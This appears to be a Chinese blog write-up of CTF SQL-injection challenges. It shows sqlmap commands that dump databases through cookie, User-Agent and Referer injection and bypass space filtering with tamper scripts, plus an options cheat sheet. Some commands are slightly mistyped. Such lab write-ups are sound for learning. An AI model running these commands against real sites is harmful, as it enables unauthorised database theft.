sql注入 (运用sqlmap解题)

注:level参数

使用--batch参数可指定payload测试复杂等级。共有五个级别,从1-5,默认值为1。等级越高,测试的payload越复杂,当使用默认等级注入不出来时,可以尝试使用--level来提高测试等级。

--level 参数决定了 sqlmap 在检测 SQL 注入时的 "努力程度"。

  • level 1 :默认的 level 等级,会测试 GET 和 POST 请求中的参数。
  • level 2:除了前面提到的,还会检查 cookie 里的数据。
  • level 3:user-agent 和 referer 头部也纳入检测范围。
  • level 4~5:会尝试各种 payloads 和边界条件,确保不放过任何潜在的注入点。

1.cookie注入

1)进入题目环境,然后页面显示是cookie注入,那应该跟cookie头有关了

2)用BP抓包,

3)然后把抓到的信息存成txt文件

4)然后用sqlmap查看是否有sql注入

sqlmap -r "文件地址"

5)从扫描结果可以看出这里它是使用了cookie注入

然后我们查看一下它的数据库

sqlmap -r '文件地址' --dbs

6)查到它有四个库,一次查看后有用数据在sqli里

查看它里面表的数据,sqlmap -r '文件地址' -D sqli --tables --batch

7)然后再查看表里的字段信息

sqlmap -r '文件地址' -D sqli -T ydinnlywvm --dump --batch

然后便能找到flag

2.UA注入

1)进入题目环境,页面显示注入类型为UA注入

2)跟跟上面的cookie注入类似,先用BP抓包,然后将它保存

3)接着用sqlmap测试注入类型及注入点

复制代码
sqlmap -u "网址" -level 3 --dbs

4)扫出它的数据库,然后依次查看里面的内容,依然是在sqli表里

查看里面的数据

复制代码
sqlmap -u "网址" level 3 -D sqli --tables --dbs

5)找到表里有两个字段,查看第一个

复制代码
sqlmap -u "网址" -level 3 -D sqli -T irdofixdml --dump --batch

然后找到flag

3.Refer注入

1)进入题目环境

2)说是refer注入,那肯定跟refer头有关了,sqlmap扫描应该是要用到level 3 将refer头纳入检测范围了

sqlmap -u "网址" -level 3 --dbs

3)扫出数据库,然后查表,查到在sqli里面

sqlmap -u "网址" -D sqli --tables --batch

4)然后扫描字段数据

sqlmap -u "网址" -D sqli -T uggursvczx --dump --batch

4.过滤空格

1)进入环境,说是空格被过滤

2)用sqlmap扫描时需要用到sqlmap的脚本

space2comment.py 用"/**/"替换空格符

注入命令

复制代码
sqlmap -u '网址'--current-db --tamper=space2comment.py

3)扫出sqli,然后看表里内容,得到flag

复制代码
sqlmap -u "网址" -D sqli --dump --tamper=space2comment.py --batch --tamper=space2plus.py

5.小结

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。

常见需要注意的一些命令

--batch (默认确认)不再询问是否确认。

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--level=1 执行测试的等级(1-5,默认为1,常用3)

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

相关推荐
ClickHouseDB3 小时前
ClickHouse Cloud 与 Snowflake 实时性价比对比:CostBench 测试中的 412 倍差距来
运维·数据库·系统架构
m0_639906943 小时前
Redis入门|五种数据结构、使用场景、持久化RDB&AOF
数据结构·数据库·redis
时间售卖铺4 小时前
触发器与函数实战:MySQL高效编程秘诀
运维·数据库·mysql·云原生
qetfw4 小时前
UOS MariaDB 数据库:安装、最小权限与备份验证
linux·数据库·mariadb·uos
数智园区合作社5 小时前
问数平台怎么把同一个指标锁成一个数
大数据·数据库·人工智能·ai
lbb 小魔仙5 小时前
Windows搭建PaddleOCR+飞书Webhook自动打卡通知机器人:识别、推送与远程触发完整教程
数据库·人工智能·prometheus·时序数据库
captain3767 小时前
MyBatis操作数据库(入门2)
java·数据库·spring boot·后端·spring·mybatis
心中有你02147 小时前
Java实现Dijkstra最短路径算法(邻接表 + 优先队列)
java·数据库·算法
龙亘川7 小时前
综合素质评价业务建模:从过程性评价到成长档案全链路闭环
数据库·智慧城市·数据可视化
数据库小组7 小时前
NineData 实战教程:MySQL 5.5 数据迁移同步到 MySQL 8.0(跨版本升级)
数据库·mysql·mysql优化·数据库开发·数据库迁移·版本升级·数据复制